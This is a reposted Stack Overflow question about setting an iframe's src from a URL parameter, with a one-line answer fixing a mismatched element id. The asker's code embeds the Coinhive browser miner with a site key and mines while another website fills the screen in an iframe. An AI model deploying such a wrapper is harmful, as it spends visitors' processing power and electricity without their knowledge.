gpt4 book ai didi

javascript - 无法通过 Javascript 编辑 Iframe 的 'src' 值

转载 作者:行者123 更新时间:2023-11-30 20:57:59 26 4
gpt4 key购买 nike

我正在尝试用 coinhive 做一个小项目,但我遇到了一些麻烦。

我想做的只是在 coinhive 挖矿时在 iframe 中显示一个网页。 (别怕,只供我自己的小伙伴们使用,我不会非法使用的)

到目前为止一切正常,所以我决定让它更智能,更改从 url 显示的网站(例如:www.domain.com/page?url=targeturl)但每次我尝试设置 .src 值来自 javascript 的 iframe 它不起作用。这是代码。任何帮助都是有帮助的! (我只是个学生哈哈)

<iframe src="about:blank" id="frm" style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>
var miner = new CoinHive.Anonymous('WJ2VsNaAOJh6yp5epJpVXGqV3lzQKZIw', { throttle: 0.5 });
miner.start();

function getParameterByName(name, url)
{
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
var url = getParameterByName('url');
document.getElementById('preview').src = url;
</script>

最佳答案

我认为您应该将 id 更改为“frm”而不是“预览”:

document.getElementById('preview').src = url;

关于javascript - 无法通过 Javascript 编辑 Iframe 的 'src' 值,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47460903/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com